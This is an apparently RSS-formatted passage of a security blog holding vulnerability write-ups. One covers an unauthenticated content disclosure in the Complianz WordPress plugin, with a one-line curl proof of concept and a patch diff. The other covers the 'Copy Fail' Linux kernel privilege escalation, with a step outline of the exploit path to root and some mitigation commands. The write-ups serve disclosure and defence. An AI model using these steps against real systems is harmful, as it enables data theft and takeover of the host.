&lt;td&gt;April 28, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Wesley van de Kamp - Conda Security&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/complianz-gdpr/complianz-gdprccpa-cookie-consent-745-missing-authorization-to-unauthenticated-private-post-content-disclosure-via-consent-area-rest-endpoint&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;Unauthenticated attackers can read private, draft, or unpublished WordPress post content through a publicly accessible REST API endpoint. The Complianz plugin registers a route at &lt;code&gt;/wp-json/complianz/v1/consent-area/{post_id}/{block_id}&lt;/code&gt; that returns the hidden content of a &lt;code&gt;complianz/consent-area&lt;/code&gt; block. The endpoint does not check whether the requesting user has permission to view the post. Because of this, anyone on the internet can retrieve sensitive content that site owners intended to hide behind consent requirements.&lt;/p&gt;
&lt;p&gt;In practice, the consent-area block is designed to show content only after a visitor accepts a specific cookie category. Site owners often place marketing scripts, embedded media, or other restricted content inside it. However, the REST endpoint bypasses this protection entirely for posts that are not publicly visible.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;cmplz_documents_rest_route()&lt;/code&gt; function in &lt;code&gt;rest-api/rest-api.php&lt;/code&gt; registers the vulnerable endpoint on line 51:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;register_rest_route( &apos;complianz/v1&apos;, &apos;consent-area/(?P&amp;lt;post_id&amp;gt;&apos;.$id_pattern.&apos;)/(?P&amp;lt;block_id&amp;gt;&apos;.$string_pattern.&apos;)&apos;, array(
    &apos;methods&apos;             =&amp;gt; &apos;GET&apos;,
    &apos;callback&apos;            =&amp;gt; &apos;cmplz_rest_consented_content&apos;,
    &apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;,
) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;permission_callback&lt;/code&gt; is set to &lt;code&gt;__return_true&lt;/code&gt;. This tells WordPress to allow the request without any authentication or authorization check.&lt;/p&gt;
&lt;p&gt;The callback function &lt;code&gt;cmplz_rest_consented_content()&lt;/code&gt; starts on line 61 of the same file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function cmplz_rest_consented_content( WP_REST_Request $request ) {
    $post_id = (int) ($request-&amp;gt;get_param(&apos;post_id&apos;));
    $block_id = sanitize_title($request-&amp;gt;get_param(&apos;block_id&apos;));
    $post = get_post($post_id);

    if ( !$post ) {
        return &apos;&apos;;
    }

    $html = $post-&amp;gt;post_content;
    $output = &apos;&apos;;
    if ( has_block(&apos;complianz/consent-area&apos;, $html)) {
        $blocks = parse_blocks($post-&amp;gt;post_content);
        foreach($blocks as $block){
            if ($block[&apos;blockName&apos;]===&apos;complianz/consent-area&apos; &amp;amp;&amp;amp; $block[&apos;attrs&apos;][&apos;blockId&apos;]===$block_id){
                $output = $block[&apos;attrs&apos;][&apos;consentedContent&apos;];
                break;
            }
        }
    }
    // ... shortcode handling omitted for brevity

    $output = do_shortcode($output);
    return $output;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The function retrieves the post with &lt;code&gt;get_post($post_id)&lt;/code&gt;. It then parses the post content for a &lt;code&gt;complianz/consent-area&lt;/code&gt; block. When it finds a matching block, it returns the &lt;code&gt;consentedContent&lt;/code&gt; attribute directly. This attribute stores the HTML content that the site owner wants to hide until the visitor gives consent.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The function does not verify the post&apos;s &lt;code&gt;post_status&lt;/code&gt; or the current user&apos;s permission to read the post before returning the block content.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The REST route relies entirely on &lt;code&gt;__return_true&lt;/code&gt; as its permission callback. WordPress never runs any capability check. Because of this, the endpoint skips WordPress&apos;s built-in post visibility protections. The &lt;code&gt;get_post()&lt;/code&gt; function itself does not filter by status or user permissions — it fetches the post from the database.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;In the worst case, an attacker can read the full &lt;code&gt;consentedContent&lt;/code&gt; of consent-area blocks from any post on the site. This includes private posts, drafts, and pending reviews. It may also expose embedded media, marketing tracking scripts, contact forms, or other content that the site owner assumed was protected.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;complianz-gdpr&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 7.4.5&lt;/li&gt;
&lt;li&gt;A post (private, draft, or published) that contains a &lt;code&gt;complianz/consent-area&lt;/code&gt; block with a known &lt;code&gt;blockId&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify a target post and block ID&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Create a private post and add a Complianz consent-area block. Note the post ID from the WordPress editor URL. Inspect the block attributes or the front-end HTML to find the &lt;code&gt;data-block_id&lt;/code&gt; value. For example, the block might render as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;cmplz-consent-area cmplz-placeholder&quot; data-post_id=&quot;42&quot; data-block_id=&quot;my-block&quot; ...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;post_id&lt;/code&gt; = &lt;code&gt;42&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;block_id&lt;/code&gt; = &lt;code&gt;my-block&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Send an unauthenticated request to the REST endpoint&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Run the following curl command from any machine with network access to the WordPress site:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://example.com/wp-json/complianz/v1/consent-area/42/my-block&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;example.com&lt;/code&gt; with the target domain, &lt;code&gt;42&lt;/code&gt; with the target post ID, and &lt;code&gt;my-block&lt;/code&gt; with the target block ID.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The server returns the raw HTML stored in the block&apos;s &lt;code&gt;consentedContent&lt;/code&gt; attribute. The server returns this content even though the post is private and the request is unauthenticated.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Confirm the exploit succeeded by checking that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The HTTP response code is &lt;code&gt;200&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The response body contains the hidden HTML that was placed inside the consent-area block&lt;/li&gt;
&lt;li&gt;The same request returns an empty string or error when a non-existent block ID is used&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;rest-api/rest-api.php&lt;/code&gt;&lt;/strong&gt; — The patch adds a post-status and capability check at the start of &lt;code&gt;cmplz_rest_consented_content()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;To close the gap, the patch checks the post&apos;s visibility before returning any content. It adds these lines immediately after the existing &lt;code&gt;$post = get_post($post_id);&lt;/code&gt; check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( &apos;publish&apos; !== $post-&amp;gt;post_status &amp;amp;&amp;amp; ! current_user_can( &apos;read_post&apos;, $post-&amp;gt;ID ) ) {
    return new WP_Error( &apos;rest_forbidden&apos;, &apos;&apos;, array( &apos;status&apos; =&amp;gt; 403 ) );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This check works in two stages. First, it allows the request if the post status is &lt;code&gt;publish&lt;/code&gt;. Second, if the post is not published, it checks whether the current user has the &lt;code&gt;read_post&lt;/code&gt; capability for that specific post. Unauthenticated visitors do not have this capability for private or draft posts. As a result, the endpoint now returns a &lt;code&gt;403 Forbidden&lt;/code&gt; error for any post that the user is not allowed to read.&lt;/p&gt;
&lt;p&gt;The permission callback on the route itself remains &lt;code&gt;__return_true&lt;/code&gt;. This is acceptable. The authorization logic has moved into the callback function, where it can evaluate the specific post being requested.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt; function cmplz_rest_consented_content( WP_REST_Request $request ) {
-    $post_id = (int) ($request-&amp;gt;get_param(&apos;post_id&apos;));
-    $block_id = sanitize_title($request-&amp;gt;get_param(&apos;block_id&apos;));
-    $post = get_post($post_id);
+    $post_id  = (int) ( $request-&amp;gt;get_param( &apos;post_id&apos; ) );
+    $block_id = sanitize_title( $request-&amp;gt;get_param( &apos;block_id&apos; ) );
+    $post     = get_post( $post_id );
 
-    if ( !$post ) {
+    if ( ! $post ) {
         return &apos;&apos;;
     }
 
-    $html = $post-&amp;gt;post_content;
+    if ( &apos;publish&apos; !== $post-&amp;gt;post_status &amp;amp;&amp;amp; ! current_user_can( &apos;read_post&apos;, $post-&amp;gt;ID ) ) {
+        return new WP_Error( &apos;rest_forbidden&apos;, &apos;&apos;, array( &apos;status&apos; =&amp;gt; 403 ) );
+    }
+
+    $html   = $post-&amp;gt;post_content;
     $output = &apos;&apos;;
-    if ( has_block(&apos;complianz/consent-area&apos;, $html)) {
-        $blocks = parse_blocks($post-&amp;gt;post_content);
-        foreach($blocks as $block){
-            if ($block[&apos;blockName&apos;]===&apos;complianz/consent-area&apos; &amp;amp;&amp;amp; $block[&apos;attrs&apos;][&apos;blockId&apos;]===$block_id){
+    if ( has_block( &apos;complianz/consent-area&apos;, $html ) ) {
+        $blocks = parse_blocks( $post-&amp;gt;post_content );
+        foreach ( $blocks as $block ) {
+            if ( &apos;complianz/consent-area&apos; === $block[&apos;blockName&apos;] &amp;amp;&amp;amp; $block[&apos;attrs&apos;][&apos;blockId&apos;] === $block_id ) {
                 $output = $block[&apos;attrs&apos;][&apos;consentedContent&apos;];
                 break;
             }
         }
-    } else if ( strpos($html, &apos;[cmplz-consent-area&apos;)!==false ) {
+    } elseif ( strpos( $html, &apos;[cmplz-consent-area&apos; ) !== false ) {
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 28, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 28, 2026&lt;/td&gt;
&lt;td&gt;Patched version 7.4.6 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;complianz-gdpr&lt;/code&gt; plugin to version &lt;strong&gt;7.4.6&lt;/strong&gt; or later.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/complianz-gdpr/complianz-gdprccpa-cookie-consent-745-missing-authorization-to-unauthenticated-private-post-content-disclosure-via-consent-area-rest-endpoint&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4019&quot;&gt;CVE-2026-4019 Record&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/complianz/complianz-gdpr/blob/64c09657bd028f62d7b50a54d83ca19b87df2cef/rest-api/rest-api.php#L61&quot;&gt;Vulnerable code on GitHub (rest-api.php line 61)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/complianz-gdpr/tags/7.4.4.2/rest-api/rest-api.php#L54&quot;&gt;Plugins Trac - vulnerable version 7.4.4.2 rest-api.php line 54&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/complianz-gdpr/tags/7.4.4.2/rest-api/rest-api.php#L61&quot;&gt;Plugins Trac - vulnerable version 7.4.4.2 rest-api.php line 61&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3508713/complianz-gdpr/trunk/rest-api/rest-api.php&quot;&gt;Plugins Trac - changeset 3508713 (patch)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?old_path=%2Fcomplianz-gdpr/tags/7.4.5&amp;amp;new_path=%2Fcomplianz-gdpr/tags/7.4.6&quot;&gt;Plugins Trac - diff between 7.4.5 and 7.4.6&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-02T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-31431: Copy Fail — A Decade-Old Linux Kernel Privilege Escalation</title><link>https://hurayraiit.com/blog/cve-2026-31431-copy-fail-linux-kernel/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-31431-copy-fail-linux-kernel/</guid><description>CVE-2026-31431 (Copy Fail) is a critical Linux kernel LPE affecting every major distribution since 2017. A 732-byte Python script gives any local user root. Here&apos;s how it works.</description><pubDate>Fri, 01 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;CVE-2026-31431&lt;/strong&gt;, nicknamed &lt;strong&gt;Copy Fail&lt;/strong&gt;, is a critical local privilege escalation (LPE) vulnerability in the Linux kernel that has been silently exploitable since &lt;strong&gt;2017&lt;/strong&gt;. It requires no race conditions, no kernel-specific offsets, and no special privileges — just a local user account and a 732-byte Python script.&lt;/p&gt;
&lt;p&gt;The flaw lives at the intersection of three kernel subsystems: the &lt;code&gt;AF_ALG&lt;/code&gt; crypto socket interface, the &lt;code&gt;splice()&lt;/code&gt; system call, and the &lt;code&gt;authencesn&lt;/code&gt; AEAD algorithm template. When combined, they allow an unprivileged user to write 4 controlled bytes into the page cache of any readable file on the system — including setuid binaries like &lt;code&gt;/usr/bin/su&lt;/code&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-31431&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability&lt;/td&gt;
&lt;td&gt;Local Privilege Escalation (LPE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected Systems&lt;/td&gt;
&lt;td&gt;All mainstream Linux distros built between 2017 and patch date&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exploit Size&lt;/td&gt;
&lt;td&gt;732 bytes (Python 3.10+, stdlib only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reliability&lt;/td&gt;
&lt;td&gt;100% — no races, no offsets, deterministic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patch Commit&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a664bf3d603d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovered by&lt;/td&gt;
&lt;td&gt;Taeyang Lee (via Xint Code)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;How the Vulnerability Works&lt;/h2&gt;
&lt;p&gt;Copy Fail is a &lt;strong&gt;logic flaw&lt;/strong&gt;, not a memory corruption bug. It emerges from three independent design decisions that were never audited together.&lt;/p&gt;
&lt;h3&gt;The Three Components&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;authencesn&lt;/code&gt; AEAD template (added 2011)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;authencesn&lt;/code&gt; algorithm handles AEAD (Authenticated Encryption with Associated Data) with Extended Sequence Numbers. During decryption, it rearranges sequence number bytes by writing 4 bytes of scratch data at offset &lt;code&gt;assoclen + cryptlen&lt;/code&gt; of the &lt;strong&gt;destination&lt;/strong&gt; scatterlist. This was safe in 2011 because AF_ALG used separate, isolated buffers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;AF_ALG&lt;/code&gt; AEAD support (added 2015)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;AF_ALG&lt;/code&gt; is a kernel interface that exposes the in-kernel cryptographic subsystem to unprivileged userspace. When AEAD support was added in 2015, it initially operated out-of-place, meaning input and output buffers were separate.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. In-place optimization via &lt;code&gt;splice()&lt;/code&gt; (added 2017)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In 2017, an optimization was introduced: if a user calls &lt;code&gt;splice()&lt;/code&gt; to feed page cache pages as ciphertext, those same pages are chained directly into the writable destination scatterlist via &lt;code&gt;sg_chain()&lt;/code&gt;. This avoids a copy but means &lt;strong&gt;page cache pages of real files become writable destinations&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;The Bug at the Intersection&lt;/h3&gt;
&lt;p&gt;When these three pieces combine:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;authencesn&lt;/code&gt; writes its 4-byte scratch value into what it believes is the output buffer&lt;/li&gt;
&lt;li&gt;But the output buffer now contains page cache pages of a real file (fed via &lt;code&gt;splice()&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The 4-byte overwrite lands in the page cache of that file — not on disk, not marked dirty&lt;/li&gt;
&lt;li&gt;The write is &lt;strong&gt;controlled&lt;/strong&gt;: the attacker chooses the target file, the offset, and the written value via crafted AAD&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The corrupted page is never written back to disk. On-disk checksums remain valid. File integrity monitoring tools see nothing. But the kernel&apos;s in-memory view of the file is modified.&lt;/p&gt;
&lt;h3&gt;Exploitation Path&lt;/h3&gt;
&lt;p&gt;The exploit targets setuid binaries (default: &lt;code&gt;/usr/bin/su&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. Open AF_ALG socket; bind to authencesn(hmac(sha256),cbc(aes))
2. Craft sendmsg() AAD with target write value in seqno_lo bytes
3. Use splice() to chain target file&apos;s page cache as ciphertext
4. Trigger recv() — authencesn writes 4 bytes into page cache
5. HMAC verification fails (expected), but the corruption persists
6. execve() loads the corrupted setuid binary from page cache → root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The entire exploit fits in 732 bytes of pure Python using only &lt;code&gt;os&lt;/code&gt;, &lt;code&gt;socket&lt;/code&gt;, and &lt;code&gt;zlib&lt;/code&gt; from the standard library.&lt;/p&gt;
&lt;h2&gt;Affected Systems&lt;/h2&gt;
&lt;p&gt;The vulnerability was introduced by a 2017 kernel commit. Every mainstream Linux distribution built after that point and before the patch is affected.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Confirmed vulnerable:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Distribution&lt;/th&gt;
&lt;th&gt;Kernel Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Ubuntu 24.04 LTS&lt;/td&gt;
&lt;td&gt;6.17.0-1007-aws&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Amazon Linux 2023&lt;/td&gt;
&lt;td&gt;6.18.8-9.213.amzn2023&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RHEL 10.1&lt;/td&gt;
&lt;td&gt;6.12.0-124.45.1.el10_1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SUSE 16&lt;/td&gt;
&lt;td&gt;6.12.0-160000.9-default&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Likely also affected: &lt;strong&gt;Debian, Arch, Fedora, Rocky, Alma, Oracle&lt;/strong&gt;, and any other distribution running a kernel from the 2017–2026 window.&lt;/p&gt;
&lt;h2&gt;Why This Is Particularly Dangerous&lt;/h2&gt;
&lt;p&gt;Most LPEs require at least one of: a narrow race window, kernel-specific hardcoded offsets, or pre-installed exploit primitives. Copy Fail needs none of these.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The same 732-byte script runs unmodified across all affected distributions.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Beyond single-machine compromise, the implications are severe for shared environments:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Multi-tenant Linux systems&lt;/strong&gt;: Any user becomes root&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kubernetes / containers&lt;/strong&gt;: The Linux page cache is shared across container boundaries. A compromised container can corrupt files visible to other containers on the same node — this is a &lt;strong&gt;container escape primitive&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD systems&lt;/strong&gt;: Untrusted pull request code runs in builds; LPE means full host compromise&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud SaaS&lt;/strong&gt;: A tenant user can achieve host-level root on the underlying VM&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additionally, because the corruption lives only in the page cache (never flushed to disk), the attack is &lt;strong&gt;evasion-friendly&lt;/strong&gt;: file integrity monitoring, IDS tools, and disk-based forensics will not detect it.&lt;/p&gt;
&lt;h2&gt;Root Cause: Nobody Connected the Dots&lt;/h2&gt;
&lt;p&gt;The vulnerability is best understood as a latent bug created by three engineering teams, years apart, each making individually reasonable decisions:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Nobody connected the 2017 in-place optimization to authencesn&apos;s scratch writes or to the splice path&apos;s use of page cache pages.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a textbook example of an &lt;strong&gt;emergent vulnerability&lt;/strong&gt; — safe components that become dangerous at their intersection. The kernel cryptographic API, the splice zero-copy path, and the AEAD algorithm template each work correctly in isolation.&lt;/p&gt;
&lt;h2&gt;Patch and Mitigations&lt;/h2&gt;
&lt;h3&gt;Kernel Fix&lt;/h3&gt;
&lt;p&gt;Mainline commit &lt;strong&gt;&lt;code&gt;a664bf3d603d&lt;/code&gt;&lt;/strong&gt; reverts &lt;code&gt;algif_aead.c&lt;/code&gt; to out-of-place operation. The fix separates &lt;code&gt;req-&amp;gt;src&lt;/code&gt; (TX scatterlist) from &lt;code&gt;req-&amp;gt;dst&lt;/code&gt; (RX buffer), ensuring that page cache pages fed via &lt;code&gt;splice()&lt;/code&gt; are never placed into a writable scatterlist. The 2017 optimization is removed.&lt;/p&gt;
&lt;h3&gt;Interim Mitigations (if patching immediately is not possible)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1 — Disable the &lt;code&gt;algif_aead&lt;/code&gt; kernel module:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;install algif_aead /bin/false&quot; | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo modprobe -r algif_aead 2&amp;gt;/dev/null || true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Option 2 — Block &lt;code&gt;AF_ALG&lt;/code&gt; via seccomp&lt;/strong&gt; (for container workloads):&lt;/p&gt;
&lt;p&gt;Add a seccomp profile that denies &lt;code&gt;socket(AF_ALG, ...)&lt;/code&gt; calls. This prevents the exploit from initializing the crypto socket.&lt;/p&gt;
&lt;p&gt;Check if your system is currently exposed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Check if algif_aead module is loaded
lsmod | grep algif_aead

# Check kernel version (vulnerable if between 2017 and patch date)
uname -r
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Disclosure Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;March 23, 2026&lt;/td&gt;
&lt;td&gt;Initial report sent to Linux kernel security team&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 24, 2026&lt;/td&gt;
&lt;td&gt;Acknowledgment received&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 25, 2026&lt;/td&gt;
&lt;td&gt;Patches proposed and reviewed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 1, 2026&lt;/td&gt;
&lt;td&gt;Patch committed to mainline (&lt;code&gt;a664bf3d603d&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 22, 2026&lt;/td&gt;
&lt;td&gt;CVE-2026-31431 assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 29, 2026&lt;/td&gt;
&lt;td&gt;Public disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Discovery&lt;/h2&gt;
&lt;p&gt;The vulnerability was discovered by &lt;strong&gt;Taeyang Lee&lt;/strong&gt; using &lt;strong&gt;Xint Code&lt;/strong&gt;, an AI-assisted security analysis tool. Lee identified &lt;code&gt;AF_ALG + splice()&lt;/code&gt; as a high-risk attack surface and used Xint Code to scan the crypto subsystem with specific context about page cache provenance. The tool flagged Copy Fail as the highest severity finding within approximately one hour.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Copy Fail (CVE-2026-31431) is a critical privilege escalation vulnerability that silently affected nearly a decade&apos;s worth of Linux kernel releases. Its combination of reliability, portability, and stealth makes it exceptionally dangerous — particularly in multi-tenant cloud and Kubernetes environments.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you run Linux, patch now.&lt;/strong&gt; Apply kernel commit &lt;code&gt;a664bf3d603d&lt;/code&gt; or use your distribution&apos;s security update channel. If patching is delayed, disable &lt;code&gt;algif_aead&lt;/code&gt; immediately.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;References:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://copy.fail/&quot;&gt;copy.fail&lt;/a&gt; — Official vulnerability disclosure&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xint.io/blog/copy-fail-linux-distributions&quot;&gt;Xint.io write-up&lt;/a&gt; — Technical analysis and affected distributions&lt;/li&gt;
&lt;li&gt;Kernel patch: commit &lt;code&gt;a664bf3d603d&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><atom:updated>2026-05-01T00:00:00.000Z</atom:updated><category>linux</category><category>security</category><category>privilege escalation</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-6741: Critical Privilege Escalation in LatePoint Plugin (CVSS 8.8)</title><link>https://hurayraiit.com/blog/cve-2026-6741-agent-privilege-escalation-in-latepoint/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-6741-agent-privilege-escalation-in-latepoint/</guid><description>CVE-2026-6741 is a CVSS 8.8 privilege escalation flaw in LatePoint (≤ 5.4.1) that lets an authenticated agent reset the admin&apos;s password for full site takeover.</description><pubDate>Thu, 30 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-6741&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.8 (High)&lt;/strong&gt; Authenticated (Agent+) Privilege 